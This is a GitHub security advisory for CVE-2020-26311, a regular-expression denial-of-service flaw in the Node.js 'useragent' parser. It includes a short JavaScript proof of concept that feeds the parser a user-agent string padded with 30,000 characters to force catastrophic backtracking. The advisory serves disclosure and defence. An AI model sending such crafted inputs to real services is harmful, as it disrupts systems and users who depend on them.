GHSA-mgfv-m47x-4wqp
useragent Regular Expression Denial of Service vulnerability
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).
## PoC
```js
async function exploit() {
const useragent = require(\"useragent\");
// Create a malicious user-agent that leads to excessive backtracking
const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';
// Parse the malicious user-agent
const agent = useragent.parse(maliciousUserAgent);
// Call the toString method to trigger the vulnerability
const result = await agent.device.toString();
console.log(result);
}
await exploit();
```
References
External links from the advisory. They lead to third-party sites.
- https://nvd.nist.gov/vuln/detail/CVE-2020-26311
- https://github.com/3rd-Eden/useragent/issues/167
- https://github.com/3rd-Eden/useragent/commit/4c3ee79358bea72d88fe78ac98f4f861db40b89b
- https://github.com/3rd-Eden/useragent
- https://github.com/3rd-Eden/useragent/blob/ffa906f923183c85fbb9e6c90f19345e2bd3c52a/lib/regexps.js#L5568
- https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent